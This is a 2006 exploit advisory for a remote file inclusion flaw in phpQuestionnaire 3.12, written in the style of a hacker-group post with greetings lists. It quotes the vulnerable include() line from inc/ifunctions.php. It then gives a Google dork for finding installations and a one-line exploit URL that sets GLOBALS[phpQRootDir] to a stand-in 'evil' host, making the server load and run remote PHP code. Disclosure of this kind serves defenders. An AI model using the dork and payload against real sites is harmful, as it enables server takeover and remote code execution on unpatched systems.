#############################SolpotCrew Community################################=0D
#=0D
#  phpQuestionnaire 3.12 (GLOBALS[phpQRootDir]) Remote File Inclusion =0D
#=0D
# vendor : http://http://www.chumpsoft.com/products/phpq/=0D 
#=0D
#################################################################################=0D
#=0D
#=0D
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (21-09-2006)=0D
#=0D
# contact: chris_hasibuan@yahoo.com =0D 
# =0D
# Website : http://www.nyubicrew.org/adv/solpot-adv-08.txt=0D 
#=0D
################################################################################=0D
#=0D
#=0D
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid=0D
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa=0D
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo=0D
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX=0D
#              x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^ =0D
#              and all member solpotcrew community =0D
#              especially thx to str0ke @ milw0rm.com=0D
#=0D
###############################################################################=0D
Input passed to the "GLOBALS[phpQRootDir]" is not properly verified  =0D
before being used to include files. This can be exploited to execute  =0D
arbitrary PHP code by including files from local or external resources.  =0D
=0D
code from inc/ifunctions.php=0D
=0D
################################################################################=0D
# phpQuestionnaire                           Version 3.12                      #=0D
# Copyright 2003-2006 chumpsoft, inc.        August 7, 2006                    #=0D
# http://www.chumpsoft.com/products/phpq/ support@chumpsoft.com #=0D 
################################################################################=0D
# Use of this program constitutes your agreement to the terms contained in the #=0D
# LICENSE file within this distribution.                                       #=0D
################################################################################=0D
=0D
include($GLOBALS["phpQRootDir"] . "inc/tableformat.php");=0D
=0D
function ImportSurvey ($fp, $type, $flag) {=0D
	set_time_limit(600);  # Attempt to disable time limit in case upgrade takes long=0D
=0D
=0D
google dork : "phpQuestionnaire v3"=0D
=0D
exploit : http://somehost/path_to_phpQuestionnaire/inc/ifunctions.php?GLOBALS[phpQRootDir]=http://evil=0D 
=0D
##############################MY LOVE JUST FOR U RIE#########################  =0D
######################################E.O.F################################## =0D